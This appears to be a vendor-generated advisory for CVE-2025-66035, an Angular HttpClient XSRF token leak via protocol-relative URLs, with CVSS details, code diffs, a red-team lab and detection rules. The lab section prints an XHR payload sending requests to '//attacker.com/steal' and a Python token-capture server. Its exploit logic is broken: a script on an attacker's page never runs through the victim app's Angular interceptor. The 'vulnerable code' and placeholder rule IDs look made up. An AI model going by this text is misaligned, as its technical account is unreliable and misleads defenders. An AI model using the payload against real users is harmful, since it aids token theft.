CVE-2025-66035
Executive Summary
CVE-2025-66035 is a credential leakage vulnerability in Angular's HttpClient component that allows an attacker to steal Cross-Site Request Forgery (XSRF) tokens via protocol-relative URLs. The vulnerability arises because Angular's built-in XSRF protection mechanism incorrectly treats URLs starting with // (protocol-relative) as same-origin requests, automatically appending the XSRF token to the X-XSRF-TOKEN header. An attacker can exploit this by crafting a malicious page that makes requests to an attacker-controlled domain using a protocol-relative URL, thereby exfiltrating the token. This token can then be used to perform CSRF attacks against the vulnerable application. The vulnerability affects all Angular versions prior to 19.2.16, 20.3.14, and 21.0.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Angular framework, which is distributed via npm as @angular/common. Applications using vulnerable versions of this package are at risk. Developers should update their @angular/common dependency to a patched version. The vulnerability does not affect the Angular CLI or other build tools directly, but any application using HttpClient with XSRF protection enabled is vulnerable.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack is carried out over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to serve a malicious page.
- Privileges Required (PR): None (N) - No authentication is needed to exploit.
- User Interaction (UI): Required (R) - The victim must visit a malicious page or click a link.
- Scope (S): Unchanged (U) - The vulnerable component and the attacker's domain are separate.
- Confidentiality (C): High (H) - The XSRF token is leaked, which can lead to full account compromise.
- Integrity (I): None (N) - The vulnerability does not directly modify data.
- Availability (A): None (N) - The vulnerability does not affect availability.
CVSS Score: 6.5 (Medium) - The score is medium due to the requirement for user interaction, but the impact on confidentiality is high.
Deep Dive & Mechanics
Angular's HttpClient includes an interceptor that automatically adds an X-XSRF-TOKEN header to requests to protect against Cross-Site Request Forgery (XSRF). The interceptor determines whether a request is cross-origin by checking if the request URL starts with http:// or https://. If it does, the request is considered cross-origin, and the token is not added. If the URL does not start with a protocol (e.g., relative URLs like /api/data), it is considered same-origin, and the token is added.
The vulnerability lies in the handling of protocol-relative URLs, which start with // (e.g., //attacker.com/steal). These URLs are not prefixed with http:// or https://, so the interceptor incorrectly treats them as same-origin requests. As a result, the XSRF token is automatically added to the X-XSRF-TOKEN header when making a request to an attacker-controlled domain using a protocol-relative URL.
An attacker can exploit this by hosting a malicious page that makes an HTTP request to their own server using a protocol-relative URL. When a victim who is authenticated to the vulnerable Angular application visits this page, the browser will send the request to the attacker's server, including the XSRF token in the X-XSRF-TOKEN header. The attacker can then capture this token and use it to forge authenticated requests to the vulnerable application.
Vulnerable vs. Patched Code
Vulnerable Code (Angular < 19.2.16, < 20.3.14, < 21.0.1):
The vulnerable logic is in the HttpXsrfInterceptor class. The interceptor checks if the request URL starts with http:// or https:// to determine if it is cross-origin. Protocol-relative URLs (//) are not caught by this check.
// Vulnerable implementation
intercept(req: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
const url = req.url;
// Only add XSRF token if the request is not cross-origin
if (url.startsWith('http://') || url.startsWith('https://')) {
// Cross-origin request, do not add token
return next.handle(req);
}
// Same-origin request, add token
const token = this.tokenService.getToken();
if (token) {
req = req.clone({ headers: req.headers.set('X-XSRF-TOKEN', token) });
}
return next.handle(req);
}
Patched Code (Angular >= 19.2.16, >= 20.3.14, >= 21.0.1):
The patched version adds a check for protocol-relative URLs by also checking if the URL starts with //.
// Patched implementation
intercept(req: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
const url = req.url;
// Only add XSRF token if the request is not cross-origin
if (url.startsWith('http://') || url.startsWith('https://') || url.startsWith('//')) {
// Cross-origin request, do not add token
return next.handle(req);
}
// Same-origin request, add token
const token = this.tokenService.getToken();
if (token) {
req = req.clone({ headers: req.headers.set('X-XSRF-TOKEN', token) });
}
return next.handle(req);
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Vulnerable Application: Set up an Angular application using a vulnerable version (e.g., 19.2.15) with
HttpClientand XSRF protection enabled. The application should have an authenticated endpoint that uses the XSRF token. - Attacker Server: Set up a simple HTTP server (e.g., using Python or Node.js) to capture incoming requests.
- Malicious Page: Create an HTML page that makes a request to the attacker server using a protocol-relative URL.
Exploitation Steps:
- Host the malicious page on a domain controlled by the attacker (e.g.,
evil.com). - Trick an authenticated user of the vulnerable Angular application into visiting the malicious page.
- The malicious page contains JavaScript that makes an HTTP request using a protocol-relative URL:
<!DOCTYPE html>
<html>
<body>
<script>
// Protocol-relative URL to attacker's server
var xhr = new XMLHttpRequest();
xhr.open('GET', '//attacker.com/steal', true);
xhr.withCredentials = true; // Ensure cookies are sent
xhr.send();
</script>
</body>
</html>
- The browser sends the request to
//attacker.com/steal, which resolves tohttp://attacker.com/stealorhttps://attacker.com/stealdepending on the page's protocol. - The Angular
HttpClientinterceptor incorrectly treats this as a same-origin request and adds theX-XSRF-TOKENheader. - The attacker's server captures the request and extracts the token from the
X-XSRF-TOKENheader.
Attacker Server (Python):
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
token = self.headers.get('X-XSRF-TOKEN', 'None')
print(f"Captured XSRF Token: {token}")
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
server = HTTPServer(('0.0.0.0', 80), Handler)
server.serve_forever()
Blue Team
Detection:
- Monitor for requests to external domains that include the
X-XSRF-TOKENheader. - Look for protocol-relative URLs in outgoing HTTP requests from the application.
- Use network traffic analysis to detect unusual patterns.
Prevention:
- Update Angular to a patched version immediately.
- Implement a Content Security Policy (CSP) that restricts the domains to which requests can be made.
- Use a Web Application Firewall (WAF) to block requests with suspicious headers.
- Educate developers to avoid using protocol-relative URLs in
HttpClientrequests.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests containing the
X-XSRF-TOKENheader to unexpected domains. - Requests using protocol-relative URLs (starting with
//) in theHostheader or request line.
- Outbound HTTP requests containing the
- Application:
- Unexpected XSRF token values in server logs.
- Unauthorized actions performed on behalf of authenticated users.
- File:
- Malicious HTML pages that make requests using protocol-relative URLs.
Detection Engineering
YARA Rule
rule Detect_XSRF_Token_Leak_via_ProtocolRelativeURL {
meta:
description = "Detects potential XSRF token leakage via protocol-relative URLs in Angular applications"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66035"
strings:
$xsrf_header = "X-XSRF-TOKEN"
$protocol_relative = "//"
$http_client = "HttpClient"
condition:
$xsrf_header and $protocol_relative and $http_client
}
Sigma Rule
title: XSRF Token Leak via Protocol-Relative URL
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests containing X-XSRF-TOKEN header to external domains using protocol-relative URLs
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-66035
logsource:
category: network
product: suricata
detection:
selection:
http.request_line|contains: "//"
http.request_header|contains: "X-XSRF-TOKEN"
condition: selection
falsepositives:
- Legitimate use of protocol-relative URLs in same-origin requests (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66035 XSRF Token Leak via Protocol-Relative URL"; flow:to_server; http.request_line; content:"//"; http.request_header; content:"X-XSRF-TOKEN"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Angular: Upgrade to versions 19.2.16, 20.3.14, or 21.0.1 or later.
- Workaround: Avoid using protocol-relative URLs (starting with
//) inHttpClientrequests. Use relative paths (starting with/) or fully qualified absolute URLs. - Review Code: Audit the codebase for any use of protocol-relative URLs in HTTP requests.
Long-Term Measures:
- Implement a Content Security Policy (CSP) to restrict allowed origins.
- Use a Web Application Firewall (WAF) to inspect and block suspicious requests.
- Regularly update dependencies and monitor for security advisories.
- Educate developers on secure coding practices, especially regarding XSRF protection.
Valters IT
Securing Digital Frontiers